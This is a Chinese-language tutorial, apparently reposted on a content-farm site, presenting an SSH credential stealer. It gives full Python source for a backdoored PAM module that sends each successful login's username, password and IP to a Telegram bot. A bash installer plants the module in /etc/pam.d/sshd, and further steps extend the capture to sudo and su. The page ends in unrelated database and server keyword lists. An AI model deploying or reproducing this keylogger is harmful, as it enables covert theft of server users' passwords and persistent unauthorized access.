窃取SSH凭证的方法说是什么
发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。我将为大家介绍另外一种获取ssh密码的方法。这种
千家信息网最后更新 2025年01月19日窃取SSH凭证的方法说是什么
这篇文章将为大家详细讲解有关窃取SSH凭证的方法说是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
我将为大家介绍另外一种获取ssh密码的方法。这种方法是我在ChokePoint找到的 ,他向我们展示了如何使用python创建PAM模块记录失败的尝试,现在我要做的就是更改登录密码的地方。原脚本中当登录失败时,使用的auth_log函数。
if not check_pw(user, resp.resp): auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp)) return pamh.PAM_AUTH_ERRreturn pamh.PAM_SUCCESS
而在我的脚本中,当登录成功时使用的是我定义的函数sendMessage
if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESS
该函数主要用于发送用户,密码以及连接的IP,以下是完整代码:
import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = 'BOT-API-KEY' userId = 'USERID' url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg) r = requests.get(url)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:')) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS
我还创建了一个bash脚本用于自动化的安装这个ssh keylogger,其中安装了所有的依赖关系,并在/etc/pam.d/sshd上配置了该PAM模块
#!/bin/bash# Install dependencies to create a PAM module using python (Except for python-pip)apt-get install python-pam libpam-python python-pip# Install dependencies pythonpip install requests# Check if exist the entrie on pam, for this moduleif ! grep -Fq "looter.py" /etc/pam.d/sshd;then sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshdficode='import spwdimport cryptimport requestsdef sendMessage(msg): apiKey = "API-KEY" userId = "USER-ID" data = {"chat_id":userId,"text":msg} url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey) r = requests.post(url,json=data)def check_pw(user, password): """Check the password matches local unix password on file""" hashed_pw = spwd.getspnam(user)[1] return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv): try: user = pamh.get_user() except pamh.exception as e: return e.pam_result if not user: return pamh.PAM_USER_UNKNOWN try: resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:")) except pamh.exception as e: return e.pam_result if not check_pw(user, resp.resp): return pamh.PAM_AUTH_ERR sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp)) return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv): return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv): return pamh.PAM_SUCCESS'mkdir -p /lib/security/echo "$code" > /lib/security/looter.py/etc/init.d/ssh restart
现在,只要有人成功登录了服务器,你就会收到以下的登录信息。
它也适用于sudo和su,只需添加以下代码
auth requisite pam_python.so looter.py
到下面两个文件中
/etc/pam.d/sudo/etc/pam.d/su
或者你也可以直接git clone该项目并按照README.md上的说明进行操作
git clone https://github.com/mthbernardes/sshLooter.git
关于窃取SSH凭证的方法说是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
登录
方法
函数
密码
脚本
凭证
说是
成功
代码
内容
文章
更多
模块
知识
篇文章
不错
两个
信息
只需
地方
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
hmi通过vbs编程连接数据库
工业企业数据库 说明
unity数据库链接
数据库四大功能安全性完整性
服务器的性能指标
wind上市公司数据库
网络安全宣传节目
淘宝保障服务数据库错误
保立网络技术有限公司待遇
网站前台使用什么软件开发
anki海外服务器
激活服务器管理员有什么权限
香港高速服务器租用
阿里数据库架构
数据库崩溃问题排查
县局网络安全制度落实情况
江苏先进网络技术质量保证
有关于网络安全的论文
计算机网络技术项目优化
工行软件开发中心性质
金蝶专业版数据库删除辅助属性
上海软件开发公司哪家好
服务器怎么开任务管理器
集中视频管理服务器
杭电网络安全学院徐明院长
服务器三种管理
技术支持数据库方向
手机远程下载数据库用什么技术好
乐檬k3连接不上服务器
网络安全 学科建设需求